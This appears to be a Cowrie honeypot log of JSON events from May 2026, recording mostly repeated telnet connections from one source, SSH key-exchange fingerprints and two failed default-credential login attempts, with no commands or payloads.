{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:08.966137Z","src_ip":"59.17.95.129","session":"effb6b88605e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38590,"dst_ip":"10.17.0.5","dst_port":23,"session":"2232d2f819e4","protocol":"telnet","message":"New connection: 23.111.140.22:38590 (10.17.0.5:23) [session: 2232d2f819e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:09.044181Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80da046a691","protocol":"telnet","message":"New connection: 23.111.140.22:36230 (10.17.0.5:23) [session: c80da046a691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:09.240761Z"}
{"eventid":"cowrie.session.closed","duration":31.492862224578857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:09.341499Z","src_ip":"23.111.140.22","session":"d9d0dde42a5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux","message":"login attempt [ubuntu/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:09.805465Z","src_ip":"59.17.95.129","session":"effb6b88605e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.684695959091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:10.874199Z","src_ip":"23.111.140.22","session":"8bc6922d8706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41262,"dst_ip":"10.17.0.5","dst_port":23,"session":"73d4d53f9c87","protocol":"telnet","message":"New connection: 23.111.140.22:41262 (10.17.0.5:23) [session: 73d4d53f9c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:11.002206Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:11.009013Z","src_ip":"59.17.95.129","session":"effb6b88605e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.814728260040283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:11.201114Z","src_ip":"23.111.140.22","session":"f54542592e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.264798879623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:11.227054Z","src_ip":"23.111.140.22","session":"b8a5d3679fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46399,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5e698802cf","protocol":"telnet","message":"New connection: 23.111.140.22:46399 (10.17.0.5:23) [session: 3d5e698802cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:11.742977Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"df31beb37d83","protocol":"ssh","message":"New connection: 202.145.0.61:33646 (10.17.0.5:22) [session: df31beb37d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:12.006472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:12.027567Z","src_ip":"202.145.0.61","session":"df31beb37d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92949914932251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:12.074035Z","src_ip":"23.111.140.22","session":"c0e3ede20667","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:12.269151Z","src_ip":"202.145.0.61","session":"df31beb37d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#321","message":"login attempt [root/admin#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:13.273208Z","src_ip":"202.145.0.61","session":"df31beb37d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54148,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c934b2f24e5","protocol":"telnet","message":"New connection: 23.111.140.22:54148 (10.17.0.5:23) [session: 7c934b2f24e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:14.358009Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:14.518267Z","src_ip":"202.145.0.61","session":"df31beb37d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57658,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9b1f084d19e","protocol":"telnet","message":"New connection: 23.111.140.22:57658 (10.17.0.5:23) [session: a9b1f084d19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:15.560134Z"}
{"eventid":"cowrie.session.closed","duration":31.203213453292847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:15.957383Z","src_ip":"23.111.140.22","session":"7f71e3ee91ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"25497686ac1a","protocol":"telnet","message":"New connection: 23.111.140.22:60592 (10.17.0.5:23) [session: 25497686ac1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:16.538079Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33648,"dst_ip":"10.17.0.5","dst_port":23,"session":"577e1dc1bb9a","protocol":"telnet","message":"New connection: 23.111.140.22:33648 (10.17.0.5:23) [session: 577e1dc1bb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:16.978950Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33840,"dst_ip":"10.17.0.5","dst_port":23,"session":"28441c6e4a5b","protocol":"telnet","message":"New connection: 23.111.140.22:33840 (10.17.0.5:23) [session: 28441c6e4a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:17.030940Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60266,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71c0afc40a6","protocol":"telnet","message":"New connection: 23.111.140.22:60266 (10.17.0.5:23) [session: a71c0afc40a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:17.416836Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d31bd364cb","protocol":"telnet","message":"New connection: 23.111.140.22:35286 (10.17.0.5:23) [session: b0d31bd364cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:17.566933Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":56236,"dst_ip":"159.203.135.109","dst_port":23,"session":"6594a7946391","protocol":"telnet","message":"New connection: 176.65.149.254:56236 (159.203.135.109:23) [session: 6594a7946391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:17.651462Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36600,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0c3bb49b78b","protocol":"telnet","message":"New connection: 23.111.140.22:36600 (10.17.0.5:23) [session: d0c3bb49b78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:17.997417Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35130,"dst_ip":"10.17.0.5","dst_port":23,"session":"fba6d7f0daa4","protocol":"telnet","message":"New connection: 23.111.140.22:35130 (10.17.0.5:23) [session: fba6d7f0daa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:18.508130Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38996,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1b39e7e98b","protocol":"telnet","message":"New connection: 23.111.140.22:38996 (10.17.0.5:23) [session: 8e1b39e7e98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:18.808323Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42072,"dst_ip":"10.17.0.5","dst_port":23,"session":"2407e07c20c6","protocol":"telnet","message":"New connection: 23.111.140.22:42072 (10.17.0.5:23) [session: 2407e07c20c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:19.802460Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39552,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15f26039dc9","protocol":"telnet","message":"New connection: 23.111.140.22:39552 (10.17.0.5:23) [session: a15f26039dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:20.004054Z"}
{"eventid":"cowrie.session.closed","duration":31.64722752571106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:20.008499Z","src_ip":"23.111.140.22","session":"396f9fae7752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42752,"dst_ip":"10.17.0.5","dst_port":23,"session":"41a53d36b9c7","protocol":"telnet","message":"New connection: 23.111.140.22:42752 (10.17.0.5:23) [session: 41a53d36b9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:20.024617Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40198,"dst_ip":"10.17.0.5","dst_port":23,"session":"c75aa0a7d1f3","protocol":"telnet","message":"New connection: 23.111.140.22:40198 (10.17.0.5:23) [session: c75aa0a7d1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:20.192019Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e1095e7d93f","protocol":"telnet","message":"New connection: 23.111.140.22:45982 (10.17.0.5:23) [session: 8e1095e7d93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:21.144848Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37588,"dst_ip":"10.17.0.5","dst_port":23,"session":"9415e2798f61","protocol":"telnet","message":"New connection: 23.111.140.22:37588 (10.17.0.5:23) [session: 9415e2798f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:21.382814Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43680,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8e8ab8499c","protocol":"telnet","message":"New connection: 23.111.140.22:43680 (10.17.0.5:23) [session: 3c8e8ab8499c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:21.412210Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe40c254411a","protocol":"telnet","message":"New connection: 23.111.140.22:47114 (10.17.0.5:23) [session: fe40c254411a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:21.574750Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44726,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f112b5f6e6e","protocol":"telnet","message":"New connection: 23.111.140.22:44726 (10.17.0.5:23) [session: 9f112b5f6e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:21.753509Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48186,"dst_ip":"10.17.0.5","dst_port":23,"session":"8902ee193ff7","protocol":"telnet","message":"New connection: 23.111.140.22:48186 (10.17.0.5:23) [session: 8902ee193ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:21.955664Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49088,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fbef7e25e50","protocol":"telnet","message":"New connection: 23.111.140.22:49088 (10.17.0.5:23) [session: 8fbef7e25e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:22.275377Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46984,"dst_ip":"10.17.0.5","dst_port":23,"session":"8595d9756b37","protocol":"telnet","message":"New connection: 23.111.140.22:46984 (10.17.0.5:23) [session: 8595d9756b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:22.530645Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47178,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb73c893bf6","protocol":"telnet","message":"New connection: 23.111.140.22:47178 (10.17.0.5:23) [session: afb73c893bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:22.628092Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50710,"dst_ip":"10.17.0.5","dst_port":23,"session":"0889c956e998","protocol":"telnet","message":"New connection: 23.111.140.22:50710 (10.17.0.5:23) [session: 0889c956e998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:22.841266Z"}
{"eventid":"cowrie.session.closed","duration":30.634390830993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:23.153954Z","src_ip":"23.111.140.22","session":"9c56cf054026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80887007713318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:23.813004Z","src_ip":"23.111.140.22","session":"ef6660f0a5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1150062084198,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:23.938663Z","src_ip":"23.111.140.22","session":"9714137fd710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54002,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e0bc9a58b0c","protocol":"telnet","message":"New connection: 23.111.140.22:54002 (10.17.0.5:23) [session: 9e0bc9a58b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:23.960786Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51142,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad1b1d3f4b82","protocol":"telnet","message":"New connection: 23.111.140.22:51142 (10.17.0.5:23) [session: ad1b1d3f4b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:23.965092Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54771,"dst_ip":"10.17.0.5","dst_port":23,"session":"8973cf54b9b6","protocol":"telnet","message":"New connection: 23.111.140.22:54771 (10.17.0.5:23) [session: 8973cf54b9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:24.216720Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54856,"dst_ip":"10.17.0.5","dst_port":23,"session":"93ebf47d8b03","protocol":"telnet","message":"New connection: 23.111.140.22:54856 (10.17.0.5:23) [session: 93ebf47d8b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:24.247103Z"}
{"eventid":"cowrie.session.closed","duration":33.13023233413696,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:24.533229Z","src_ip":"23.111.140.22","session":"0725259cd326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55914,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f496dead53","protocol":"telnet","message":"New connection: 23.111.140.22:55914 (10.17.0.5:23) [session: 99f496dead53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:24.600673Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39298,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebcafe30e363","protocol":"telnet","message":"New connection: 23.111.140.22:39298 (10.17.0.5:23) [session: ebcafe30e363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:24.930306Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec5185ec0f0","protocol":"telnet","message":"New connection: 23.111.140.22:57954 (10.17.0.5:23) [session: 8ec5185ec0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:25.264900Z"}
{"eventid":"cowrie.session.closed","duration":32.29795289039612,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:25.936693Z","src_ip":"23.111.140.22","session":"7b9e14690f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"e718fcac44db","protocol":"telnet","message":"New connection: 23.111.140.22:32784 (10.17.0.5:23) [session: e718fcac44db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:26.281155Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33170,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb8c6949735c","protocol":"telnet","message":"New connection: 23.111.140.22:33170 (10.17.0.5:23) [session: bb8c6949735c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:26.407536Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34850,"dst_ip":"10.17.0.5","dst_port":23,"session":"7793177e711d","protocol":"telnet","message":"New connection: 23.111.140.22:34850 (10.17.0.5:23) [session: 7793177e711d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:26.955345Z"}
{"eventid":"cowrie.session.closed","duration":32.24491310119629,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:27.250956Z","src_ip":"23.111.140.22","session":"f74ad3c92ac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36008,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eeea7584456","protocol":"telnet","message":"New connection: 23.111.140.22:36008 (10.17.0.5:23) [session: 2eeea7584456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:27.345472Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55400,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c5fec490f3","protocol":"telnet","message":"New connection: 23.111.140.22:55400 (10.17.0.5:23) [session: 33c5fec490f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:27.423314Z"}
{"eventid":"cowrie.session.closed","duration":30.738388538360596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:27.499679Z","src_ip":"23.111.140.22","session":"3c05013a2aa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.84944820404053,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:27.788261Z","src_ip":"23.111.140.22","session":"f54b96cfd7da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.892518997192383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:28.164341Z","src_ip":"23.111.140.22","session":"caae3d45971d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39218,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdafe0debe97","protocol":"telnet","message":"New connection: 23.111.140.22:39218 (10.17.0.5:23) [session: bdafe0debe97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:28.424231Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49338,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e8437e9db8c","protocol":"telnet","message":"New connection: 23.111.140.22:49338 (10.17.0.5:23) [session: 7e8437e9db8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:29.120324Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39392,"dst_ip":"10.17.0.5","dst_port":23,"session":"6116792eb0cf","protocol":"telnet","message":"New connection: 23.111.140.22:39392 (10.17.0.5:23) [session: 6116792eb0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:19:29.481308Z"}
